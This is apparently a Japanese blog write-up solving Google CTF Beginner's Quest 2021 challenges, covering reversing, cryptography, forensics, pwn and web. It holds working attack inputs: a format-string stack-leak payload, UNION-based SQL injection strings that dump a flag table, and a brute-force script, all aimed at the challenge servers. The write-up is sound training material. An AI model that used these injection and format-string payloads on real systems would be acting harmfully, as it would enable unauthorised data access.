2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

Google CTF Beginner's Quest 2021 (?) write-up

Last updated at Posted at 2021-09-26

image.png

Google CTFの初心者向け版。特に終了予定とかは無く、いつでも解けるらしい。

the beginner's quest is still running so if you want to try your hands on the challenges before reading, please go https://capturetheflag.withgoogle.com/beginners-quest

Beginner's Qeustは今も開催中なので、読む前に自分の手で解きたければ https://capturetheflag.withgoogle.com/beginners-quest

と書いても書かなくても、write-upを公開して良いらしいので。

全問題を解こうと思うと大変だけど、クリアを目指すだけなら楽しいと思う。ルート分岐があって全部の問題を解かなくてもクリアできる。ストーリー仕立てで、なぜかボイスまで付いている。

解法はスクロールした先に。

































































1: CCTV (rev)

パスワードで入るウェブページ。パスワードのチェックはページ内のJavaScript。

index.html
<script>
const checkPassword = () => {
  const v = document.getElementById("password").value;
  const p = Array.from(v).map(a => 0xCafe + a.charCodeAt(0));

  if(p[0] === 52037 &&
     p[6] === 52081 &&
     p[5] === 52063 &&
     p[1] === 52077 &&
     p[9] === 52077 &&
     p[10] === 52080 &&
     p[4] === 52046 &&
     p[3] === 52066 &&
     p[8] === 52085 &&
     p[7] === 52081 &&
     p[2] === 52077 &&
     p[11] === 52066) {
    window.location.replace(v + ".html");
  } else {
    alert("Wrong password!");
  }
}

window.addEventListener("DOMContentLoaded", () => {
  document.getElementById("go").addEventListener("click", checkPassword);
  document.getElementById("password").addEventListener("keydown", e => {
    if (e.keyCode === 13) {
      checkPassword();
    }
  });
}, false);
</script>

パスワードの各文字の文字コードに0xCafe(=51966)を足して、ある値になるかをチェックしている。

逆に引いて、文字に変換すれば良い。

p = {};
p[0] = 52037;
p[6] = 52081;
p[5] = 52063;
p[1] = 52077;
p[9] = 52077;
p[10] = 52080;
p[4] = 52046;
p[3] = 52066;
p[8] = 52085;
p[7] = 52081;
p[2] = 52077;
p[11] = 52066;

password = "";
for (var i=0; i<12; i++)
  password += String.fromCharCode(p[i]-0xcafe);
console.log(password);
GoodPassword

ログインすると監視カメラの映像とフラグが見られる。

CTF{IJustHopeThisIsNotOnShodan}

2: Logic Lock (misc)

論理回路図を読んで、出力が真になる入力を求める。

逆算すれば、XOR以外は、出力から入力が一意に決まる。XORの入力も他から決まるので問題無し。

image.png

CTF{BCFIJ}

3: High Speed Chase (misc)

距離センサーの情報から車の進路を決めるAIを書く。成功すると、他の車をすいすいすり抜けていって楽しい。

まあ、距離センサーの一番遠いところが左にあれば左に、右にあれば右に移動するだけだけど。道路端は距離が0になっているので、特に考慮する必要は無い。

console.log(scanArray)で出力してみると、センサーの入力はこんな感じになっている。

[0, 0, 0, 0, 22.75, 22.75, 22.75, 9, 9, 9, 8.75, 8.75, 8.75, 0, 0, 0, 0]
[0, 0, 0, 21.75, 21.75, 21.75, 8, 8, 8, 7.75, 7.75, 7.75, 0, 0, 0, 0, 0]
[0, 0, 20.75, 20.75, 20.75, 7, 7, 7, 6.75, 6.75, 6.75, 0, 0, 0, 0, 0, 0]
[0, 0, 19.75, 19.75, 19.75, 6, 6, 6, 5.75, 5.75, 5.75, 0, 0, 0, 0, 0, 0]
[0, 18.75, 18.75, 18.75, 5, 5, 5, 4.75, 4.75, 4.75, 0, 0, 0, 0, 0, 0, 0]

車の幅がセンサー3個分で、その中心に移動しないといけないことに注意。

function controlCar(scanArray) {
  var x = 0;
  for (var i=1; i<17; i++)
    if (scanArray[i]>scanArray[x])
      x = i;
  x++;
  if (x<8)
    return -1;
  if (x>8)
    return 1;
  if (x==8)
    return 0;

CTF{cbe138a2cd7bd97ab726ebd67e3b7126707f3e7f}

4: Electronics Research Lab (hw)

chal.cとpico.utf2。chal.cをコンパイルするとpico.uf2になって、Rasbery Pi Picoに持っていくと動くのかな。持ってない。

chal.c
# include <stdbool.h>

# include "hardware/gpio.h"
# include "hardware/structs/sio.h"
# include "pico/stdlib.h"

int main(void)
{
    for (int i = 0; i < 8; i++) {
        gpio_init(i);
        gpio_set_dir(i, GPIO_OUT);
    }
    gpio_put_all(0);

    for (;;) {
        gpio_set_mask(67);
        gpio_clr_mask(0);
        sleep_us(100);
        gpio_set_mask(20);
        gpio_clr_mask(3);
        sleep_us(100);
        gpio_set_mask(2);
        gpio_clr_mask(16);
        sleep_us(100);
 :

たぶん、gpio_set_maskは引数の立っているビットに対応する、GPIOのビットを立てる。gpio_clr_maskは寝かせるのだろう。

chal2.c
# include <stdio.h>

char c;

void gpio_set_mask(char x) {c |= x;}
void gpio_clr_mask(char x) {c &= ~x;}
void sleep_us(int x){printf("%c", c);}

int main()
{
        gpio_set_mask(67);
        gpio_clr_mask(0);
        sleep_us(100);
        gpio_set_mask(20);
        gpio_clr_mask(3);
        sleep_us(100);
        gpio_set_mask(2);
        gpio_clr_mask(16);
        sleep_us(100);
 :

こう書き換えて、

$ gcc chal2.c -o chal2
$ ./chal2
CTF{be65dfa2355e5309808a7720a615bca8c82a13d7}

CTF{be65dfa2355e5309808a7720a615bca8c82a13d7}

5: Twisted robot (misc)

RoboCaller1337.py
import random

# Gots to get that formatting right when send it to our call center
def formatNumber(n):
    n = str(n)
    return f'{n[:3]}-{n[3:6]}-{n[6:]}'

# This generates random phone numbers because it's easy to find a lot of people!
# Our number generator is not great so we had to hack it a bit to make sure we can
# reach folks in Philly (area code 215)
def generateRandomNumbers():
    arr = []
    for i in range(624):
        arr.append(formatNumber(random.getrandbits(32) + (1<<31)))
    return arr

def encodeSecret(s):
    key = [random.getrandbits(8) for i in range(len(s))]
    return bytes([a^b for a,b in zip(key,list(s.encode()))])


def menu():
    print("""\n\nWelcome to the RoboCaller!! What would you like to do?
1: generate a new list of numbers
2: encrypt a super secret (in beta)
3: decrypt a super secret (coming soon!!)
4: exit""")
    choice = ''
    while choice not in ['1','2','3']:
        choice = input('>')
        if choice == '1':
            open('robo_numbers_list.txt','w').write('\n'.join(generateRandomNumbers()))
            print("...done! list saved under 'robo_numbers_list.txt'")
        elif choice == '2':
            secret = input('give me your secret and I\'ll save it as "secret.enc"')
            open('secret.enc','wb').write(encodeSecret(secret))
        elif choice == '3':
            print("stay tuned for this awesome feature\n\n")
        elif choice == '4':
            print("Thank you for using RoboCaller1337!")
    return

def main():
    while True:
        menu()

if __name__ == "__main__":
    main()

とrobo_numbers_list.txt、secret.encが与えられる。

メルセンヌツイスタの内部状態の復元。メルセンヌツイスタの内部状態は624個の32ビット変数で数がぴったり。

内部状態がそのまま乱数として出力されるわけではなく、

mt19937ar.c
 :
    /* Tempering */
    y ^= (y >> 11);
    y ^= (y << 7) & 0x9d2c5680UL;
    y ^= (y << 15) & 0xefc60000UL;
    y ^= (y >> 18);
 :

という処理があるので、ここだけ逆算。

solve.py
import random

s = []
for l in open("robo_numbers_list.txt"):
  x = int(l.replace("-",""))-(1<<31)
  x ^= x>>18
  x ^= x<<15 & 0xefc60000 & 0b00111111_11111111_10000000_00000000
  x ^= x<<15 & 0xefc60000 & 0b11000000_00000000_00000000_00000000
  x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00000000_00111111_10000000
  x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00011111_11000000_00000000
  x ^= x<< 7 & 0x9d2c5680 & 0b00001111_11100000_00000000_00000000
  x ^= x<< 7 & 0x9d2c5680 & 0b11110000_00000000_00000000_00000000
  x ^= x>>11 & 0b00000000_00011111_11111100_00000000
  x ^= x>>11 & 0b00000000_00000000_00000011_11111111
  s += [x]

random.setstate((3, tuple(s+[624]), None))

C = open("secret.enc", "rb").read()
P = bytes([C[i]^random.getrandbits(8) for i in range(len(C))])
print(P.decode())
$ python3 solve.py
CTF{n3v3r_3ver_ev3r_use_r4nd0m}

CTF{n3v3r_3ver_ev3r_use_r4nd0m}

6: To the moon (misc)

これ大変。

I made a super secret encoder. I remember using:
- a weird base, much higher than base64
- a language named after a painter
- a language that is the opposite of good
- a language that looks like a rainbow cat
- a language that is too vulgar to write here
- a language that ended in 'ary' but I don't remember the full name

I also use gzip and zlib (to compress the stuff) and I like hiding things in files...

だそうで。

chall.txt
魦浤魦敥攰攱阴欴渴欴攰昰昰攰攰昰攰昰攰攰魦晥昸阶樴洷渶欶攰攰餴餴攰防攰攰攰洰攰樰昰阱攰樰攰攰攰昰攰攰攰阴昰霱攰樰攰攰攰昰...

文字種がちょうど256種類。その256種類を文字コード順にソートして、各文字を何番目かで置き換えると、何かのフォーマットのようなそうでないような感じになる。そこからさらに上位4ビットと下位4ビットを入れ替えると、JPEGになる。「こんなんよく解けたな……」と我ながら思う。知られたエンコード方法だったりするのだろうか。

solve1.py
C = list(map(ord, open("chall.txt").read()))
T = sorted(list(set(C)))
P = [T.index(c) for c in C]
P = bytes(p>>4|p<<4&0xf0 for p in P)
open("chall2.jpg", "wb").write(P)

chall2.jpg。

chall2.jpg

これは、a language named after a painter、Piet……と思うが、良く見るとこれはPietの元ネタのPiet Mondrianの作品そのものであって、プログラムではない。

Jpegファイルの作成者が次のような長い文字列。

chall3.xt
zaeeaeeuewawaweeeuuwaawuwueeuwaawuwaaawuuuuwuwuuuwaawaawaaaawueueeweeeweaeawuuwawaaaweeeuuweeuwawaaaeeeweeeeewueueewaaaa...

これは、a language that is the opposite of good、Evilのソースコード。特殊なweaveという操作があるので、気が付かないと解けない。

solve.py
# https://esolangs.org/wiki/Evil
A = 0
S = open("chall3.txt").read()
out = ""

for s in S:
  if s=="a":
    A = (A+1)%256
  if s=="e":
    A = (
      (A   &1)<<2 |
      (A>>1&1)    |
      (A>>2&1)<<4 |
      (A>>3&1)<<1 |
      (A>>4&1)<<6 |
      (A>>5&1)<<3 |
      (A>>6&1)<<7 |
      (A>>7&1)<<5)
  if s=="u":
    A = (A-1)%256
  if s=="w":
    out += chr(A)
  if s=="z":
    A = 0

open("chall4.txt", "w").write(out)
chall4.txt
789ced57695413591a7569c56e9155161d050511150111230a024d9b800328e368435340a28050dd519486180810daa16db2884823d26cc12e141cb1...

これをhex decodeして、zlib展開して、gzip展開するとPPM画像が出てくる。

$ cat chall4.txt | xxd -r -p | zlib-flate -uncompress | gunzip > chall5.ppm

chall5.ppm。

image.png

今度こそPiet。https://www.bertnase.de/npiet/npiet-execute.php で実行。警告は出てくるけれど、出力は問題無さそう。

chall6.txt
789ce5d9bb11c3300c83e13e5b7a81f4693c7b7630ee807c91fbff288b141fe0fbf3e4bbeed7bb073eb616a121bdb01cd9ecfab48d2d820872e2e056...

Hex decodeしてzlib展開。

$ cat chall6.txt | xxd -r -p | zlib-flate -uncompress > chall7.txt
chall7.txt
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
 :

a language that looks like a rainbow cat、nya~~で0クリアし、nで1回デクリメントしているので、yの個数-1を出力すれば良い。この-1を忘れて、次の数字が1個ずれてハマった。

solve3.py
out = ""
for l in open("chall7.txt"):
  out += chr(l.count("y")-1)
open("chall8.txt", "w").write(out)
chall8.txt
440697918422363183397548356115174111979967632241756381461523275762611555565044345243686920364972358787309560456318193690...

「a language that ended in 'ary' but I don't remember the full name」のUnary(の0の個数)。2進数に変換して、先頭の1を削り、3桁ずつに区切って変換する。

solve4.py
x = int(open("chall8.txt").read())
x = bin(x)[2:]
x = x[1:]

out = ""
for i in range(0, len(x), 3):
  out += "><+-.,[]"[int(x[i:i+3], 2)]
open("chall9.txt", "w").write(out)
chall9.txt
[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>---...

A language that is too vulgar to write here、brainf*ck。適当なインタプリタで実行するとフラグが出てくる。

お疲れさまでした。

CTF{pl34s3_n0_m04r}

7: ReadySetAction (crypto)

chall.py
from Crypto.Util.number import *

flag = b"REDACTED"

p = getPrime(1024)
q = getPrime(1024)
n = p*q

m = bytes_to_long(flag)

c = pow(m,3,n)

print(c)
print(n)
# 15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
# 21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477

配布ファイルに__pycache__ディレクトリも含まれているが、特に使わない。

$e$の小さなRSA暗号。単に$c$の3乗根を求めるだけではダメで、$c'=c+kn$を小さな$k$について総当たり。

solve.py
c = 15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
n = 21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477

from Crypto.Util.number import *

def root(c):
  l = 0
  r = c
  while l+1<r:
    m = (l+r)//2
    if m**3<=c:
      l = m
    else:
      r = m
  if l**3==c:
    return l
  else:
    return 0

for k in range(99999999):
  print(k)
  a = root(c+k*n)
  if a!=0:
    print(long_to_bytes(a))
    break
$ python3 solve.py
0
1
2
 :
1829
1830
1831
b'CTF{34sy_RS4_1s_e4sy_us3}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

CTF{34sy_RS4_1s_e4sy_us3}

8: Hide and seek (misc)

真っ黒なPNG画像。eDIHというサイズ1の謎のチャンクが挟まっている。

image.png

PNGの構造上、チャンクタイプのすぐ後ろがデータなので、stringsとgrepで取り出せば良いだろう。

$ strings hideandseek.png | grep -oP '(?<=eDIH).' | tr -d '\n'
Q1RGe0RpZFlvdUtub3dQTkdpc1Byb25vdW5jZWRQSU5HP30=
$ strings hideandseek.png | grep -oP '(?<=eDIH).' | tr -d '\n' | base64 -d
CTF{DidYouKnowPNGisPronouncedPING?}

CTF{DidYouKnowPNGisPronouncedPING?}

9: Konski-Hiakawa Law of Droids (reversing)

In this challenge, you have to find the flag using memory forensics. Good luck! Note, surround the flag with CTF{...} to submit it. Note, API Level 25 is what you're looking for.

Androidアプリと動かしたときのメモリダンプ? という感じなのだけれど、gCTF.apkをZIPとして展開すると、なぜかバイトコードなどではなくソースコードが出てくる。ネイティブコードを使って、ファイルに文字列を書き込んだり、インプットフォームに入力された文字列とファイルの内容を比較したりしている。

bzImage.elfを、ファイルに最初に書き込まれるgCTF:KEY:という文字列で検索し、近くにあるSB:575756が正解だった。良く分からん。

CTF{SB:575756}

10: Spycam (hardware)

これも大変。

問題ファイルは、20 MiB以上の大きなCSVファイルが7個。中身はこんな感じ。

1.csv
-0.0018051198211097765,4.25,-0.05,-0.05,-0.18
-0.001805079821043734,4.25,-0.05,-0.08,-0.18
-0.0018050398209776917,4.3,-0.05,-0.08,-0.18
-0.0018049998209116493,4.3,-0.05,-0.08,-0.18
-0.0018049598208456068,4.25,-0.05,-0.08,-0.2
-0.0018049198207795644,4.25,-0.05,-0.05,-0.18
-0.001804879820713522,4.25,-0.05,-0.05,-0.18
-0.0018048398206474796,4.25,-0.05,-0.08,-0.18
 :

1番目の列は単調増加、それ以外は周期的。Video Graphics Array

サンプリングが微妙に1画素ごとのタイミングではないのが厄介。

1.png。

1.png

3.png。

3.png

7.png。

7.png

画像によっては、色の間でずれているし。

重要な7番目だけ補正。

solve.py
from PIL import Image

for i in range(1, 8):
  img = Image.new("RGB", (800, 600), (128, 128, 128))
  for l in open(f"{i}.csv"):
    t, _, r, g, b = map(float, l[:-1].split(","))
    if t>=0:
      y = int(t*31469)
      x = int((t*31469-y)*800)
      if 0<=x<800 and 0<=y<600:
        r = min(255, max(0, int((r+0.4)/0.7*256)))
        g = min(255, max(0, int((g+0.4)/0.7*256)))
        b = min(255, max(0, int((b+0.4)/0.7*256)))
        img.putpixel((x, y), (r, g, b))

  if i==7:
    for y in range(600):
      for x in range(800-25):
        r, _, b = img.getpixel((x, y))
        _, g, _ = img.getpixel((x+25, y))
        img.putpixel((x, y), (r, g, b))

  img.save(f"{i}.png")

7.png

CTF{vlde0_g?aphi?s_4???y}ではない。Discordで「?はそこに文字を入れる」とか「Vは大文字」とか言っているのを見つつ、ホワイトボードの文字も見ながらがんばる。色の調整をすればホワイトボードの文字もはっきり見えるかと思ったけど、そもそも元のCSVの浮動小数点数にそんなに精度が無いんだよな……。

これが正解。gが大文字なのはおかしいだろ。OCRが失敗したということか。

CTF{V1de0_Graphics_4rr4y}

11: pwn-notebook (pwn)

こんな感じ。

$ nc pwn-notebook.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
This is your confidential notebook.
This should get you through the next mission!
Good luck!

Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 0
 _______________________________________
< Shipping manifest #1337: Thingomabobs >
 ---------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 1
 ________________________________________
< PSA: The forklift is under maintenance >
 ----------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 2
 _________________________________________
/ Note to staff: Please clean up the mess \
\ in warehouse 42                         /
 -----------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 3
 _________
< DELETED >
 ---------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.

3番目にはあらかじめフラグが読み込まれているものの、各ノートには有効かどうかのフラグがあって、3番目は0にされている。

3番目のあたりを書式文字列攻撃で読む。

 :
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 3
Quote: %365$p_%366$p_%367$p_%368$p_%369$p_%370$p_%371$p_%372$p
 __________________________________________
/ 0x696d655200000000_0x5443203a7265646e_0x74616d726f667b46_0x5f676e697274735f_0x5f6568745f726f66_% \
\ p_(nil)_0x7fffce781c90                          /
 ------------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
 :
> 3
Quote: %370$p_%371$p_%372$p_%373$p
 _____________________________
< 0x7d6e6977_(nil)_0x7fffce781c90_(nil) >
 -----------------------------
 :

適当にスタックのアドレスを読み出して、そこから計算したアドレスも一緒に書き込み、%sで読み出すとか、フラグを書き換えるという手もあるかもしれない。

$ echo "696d655200000000" | xxd -r -p
imeR
$ echo "5443203a7265646e" | xxd -r -p
TC :redn
$ echo "74616d726f667b46" | xxd -r -p
tamrof{F
$ echo "5f676e697274735f" | xxd -r -p
_gnirts_
$ echo "5f6568745f726f66" | xxd -r -p
_eht_rof
$ echo "7d6e6977" | xxd -r -p
}niw
Reminder: CTF{format_string_for_the_win}

CTF{format_string_for_the_win}

12: Old lock (web)

You're not sure what metal the keypad was made of, but either it was very soft, or whoever punches in the code has waay too much strength in their fingers. This also means you're in luck, since it's pretty obvious which digits are actually used in the 5-digit code. The order is unknown, but there can't be that many possibilities, right? Note: Online brute forcing is allowed in this task.

image.png

この問題はブルートフォースOKなので、ブルートフォース。

solve.py
import requests
import itertools

for p in itertools.permutations("35780"):
  p = "".join(p)
  r = requests.post("https://old-lock-web.2021.ctfcompetition.com", {"v": p}).text
  print(p, r)

87053がパスコード。

CTF{IThinkWeNeedToReplaceTheKeypad}

13: Noise on the wire (net)

pcapファイル。このような通信をしている。

{"militaryGradeEncryption":false,"codename":"Goon8133","message":"what's the password to the zip file?"}
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"which zip file?"}
{"militaryGradeEncryption":false,"codename":"Goon8133","message":"well, you know, THE zip file"}
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"oh, that one... gimme a sec, need to turn on military grade encryption"}
{"militaryGradeEncryption":false,"codename":"Goon8133","message":"ok"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218"}
{"militaryGradeEncryption":true,"codename":"Goon8133","message":"67794d0c452e3467"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"72734044"}

重要なところはミリタリーグレードで暗号化されている。pcapファイルの中からHTMLファイルを取り出して開き、開発者ツールで復号する関数を呼び出して復号。

decryptWithMilitaryGradeEncryption("717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218")
"zip's password is BossToldMeToSetABetterPasswordSoThisWillHaveToDo1234"
decryptWithMilitaryGradeEncryption("67794d0c452e3467")
"lol rly?"
decryptWithMilitaryGradeEncryption("72734044")
"yeah"

ZIPファイルを抜き出して、このパスワードで解凍。

CTF{PleaseAssumeThisIsSomeSecretStuffThankYou}

14: web-quotedb (web)

クエリパラメタidの数字に応じて、有名人の言葉の引用が出てくる。

5'だとページが空白。SQLインジェクション。

100 union select 1,2,3--で、

"2" - 3

カラム数は2。

100 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --

"flag,quotes" - 3

テーブルは、quotesとflag。それならカラム名もflagだろう。

100 union select 1,flag, from flag--

"CTF{little_bobby_tables_we_call_him}" - 3

CTF{little_bobby_tables_we_call_him}

15: Just another keypad (rev)

扉に電子ロックが掛かっていて、ワイヤーを取り付けてファームウェアをダンプして解析したら、Free Pascalのソースコードが出てきたらしい。ファームウェアのダンプができるなら、扉の解錠もできるんじゃないのか?

keypad.pas
type
  DigitType = array[1..16] of SmallInt;

function CheckKeyPadCode(code : DigitType) : Boolean;
var
  digit : SmallInt;
  i : SmallInt;
  x, a, b, c, d : QWord;

begin
  x := 0;
  i := 0;

  For digit In code Do
  Begin
    If (digit < 0) or (digit > 9) then
    begin
      CheckKeyPadCode := False;
      Exit;
    end;

    x := x or (QWord(digit) shl i);
    i += 4;
  End;

  x := x xor &1275437152437512431354;
  x := RolQWord(x, 10);

  a := x and 1229782938247303441;
  b := x and &0210421042104210421042;
  c := x and RolQWord(1229782938247303441, 2);
  d := x and RolQWord(&0210421042104210421042, 2);

  if ((a = $0100101000011110) and (b = $2002220020022220) and
      (c = $4444040044044400) and (d = QWord($8880008080000880))) then
    CheckKeyPadCode := True
  else
    CheckKeyPadCode := False;
end;

まあ、読めなくはない。$を前置すると16進数、&だと8進数になるらしい。

solve.py
x = 0x0100101000011110 | 0x2002220020022220 | 0x4444040044044400 | 0x8880008080000880
x = (x>>10|x<<54)&0xffffffffffffffff
x ^= 0o1275437152437512431354
print("CTF{"+hex(x)[2:][::-1]+"}")

CTF{3333319552798534}

16: Hash-meee (misc)

I heard BotBot, the resident Discord bot, is experimenting with hashing. He specifically wants to see 2 different strings, both starting with gctf, that have the same md5 hash. He will reward this with a flag. You can access our Discord with the following invite link: https://discord.gg/XXXXXXXX To solve this challenge DM BotBot on discord using the command !hashme followed by the two strings, encoded in hex. E.g. if your strings are "gctfhello" and "gctfhola" you would send !hashme 6763746668656c6c6f 67637466686f6c61

gctfから始まるMD5が衝突する文字列を作れという問題。ツールがあるだろう。

prefix.txtにgctfを書いて、

$ scripts/poc_no.sh prefix.txt
rm: cannot remove 'md5diffpath*.cfg': No such file or directory
rm: cannot remove 'md5diffpath*.template': No such file or directory
MD5 differential path toolbox
Copyright (C) 2009 Marc Stevens
http://homepages.cwi.nl/~stevens/

delta_m[2] = [!8!]
In-block prefix words: 1

Parsed path:
Q-3:    |01100111 01000101 00100011 00000001|
Q-2:    |00010000 00110010 01010100 01110110|
 :
23: Q4m4tunnel      = 12
24: Q9m9tunnel      = 8
25: Q14Q3m14tunnel  = 2
.131072 3
135978 4
Block 1: ./data/coll1_3262432147
03 36 dd 50 c1 a8 db a2 46 41 d3 77 51 f2 b0 31
8d db bf bf c7 a9 69 45 02 31 1e 91 6a 9e 80 af
80 d0 88 c3 6a fd 52 84 4b 22 fb 5f 13 66 f2 64
1a a8 29 95 9e e2 27 df a5 a6 d3 18 a0 af e6 b9
Block 2: ./data/coll2_3262432147
03 36 dd 50 c1 a8 db a2 46 42 d3 77 51 f2 b0 31
8d db bf bf c7 a9 69 45 02 31 1e 91 6a 9e 80 af
80 d0 88 c3 6a fd 52 84 4b 22 fb 5f 13 66 f2 64
1a a8 29 95 9e e2 27 df a5 a6 d3 18 a0 af e6 b9
Found collision!
Worker thread: caught exception:ebf02abfb32204ce6d0f9c831ec75da3  collision1.bin
ebf02abfb32204ce6d0f9c831ec75da3  collision2.bin
476309d7d587003b8f9991112fd6c5b3e12be918  collision1.bin
b3eb4654ccd6e82aafe00ee93556ff4a4e9a9ec5  collision2.bin
0 -rwxrwxrwx 1 kusano kusano 128 Sep  3 23:46 collision1.bin
0 -rwxrwxrwx 1 kusano kusano 128 Sep  3 23:46 collision2.bin

image.png

CTF{h4sh_m3_tw1c3_1245fd3}

17: Playing golf (misc)

コードゴルフ。

encoder.py
# !/usr/bin/python3
import struct

__all__ = ["encode"]

NUMBERS = [
     2,    3,    5,    7,   11,   13,   17,   19,   23,   29,
    31,   37,   41,   43,   47,   53,   59,   61,   67,   71,
    73,   79,   83,   89,   97,  101,  103,  107,  109,  113,
   127,  131,  137,  139,  149,  151,  157,  163,  167,  173,
 :
  7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
  7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
  7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
  7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]

def make_tlv(type, byte_data):
  output = []
  output.append(bytes(type, "utf-8")[:4])
  output.append(struct.pack(">I", len(byte_data)))
  output.append(byte_data)
  return b''.join(output)

def step1_encode_as_tlv(input_data_as_byte_stream):
  output = []
  output.append(make_tlv("BEGN", bytes("abcdefghijklmnopqrstuvwxyz", "utf-8")))
  output.append(make_tlv("DATA", input_data_as_byte_stream))
  output.append(make_tlv("END.", bytes("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "utf-8")))
  return b''.join(output)

def step2_encrypt_data(data_to_encrypt):
  output = []
  for i in range(len(data_to_encrypt)):
    byte_to_encrypt = data_to_encrypt[i]
    key_number = NUMBERS[i]
    output.append(byte_to_encrypt ^ (key_number & 0xff))

  return bytes(bytearray(output))

def encode(input_data_as_byte_stream):
  tlv_data = step1_encode_as_tlv(input_data_as_byte_stream)
  encrypted_data = step2_encrypt_data(tlv_data)
  return encrypted_data
# END
decoder.py
# !/usr/bin/python3
import struct

__all__ = ["decode"]

NUMBERS = [
     2,    3,    5,    7,   11,   13,   17,   19,   23,   29,
    31,   37,   41,   43,   47,   53,   59,   61,   67,   71,
    73,   79,   83,   89,   97,  101,  103,  107,  109,  113,
   127,  131,  137,  139,  149,  151,  157,  163,  167,  173,
 :
  7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
  7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
  7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
  7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]

def read_tlv_block(data, index):
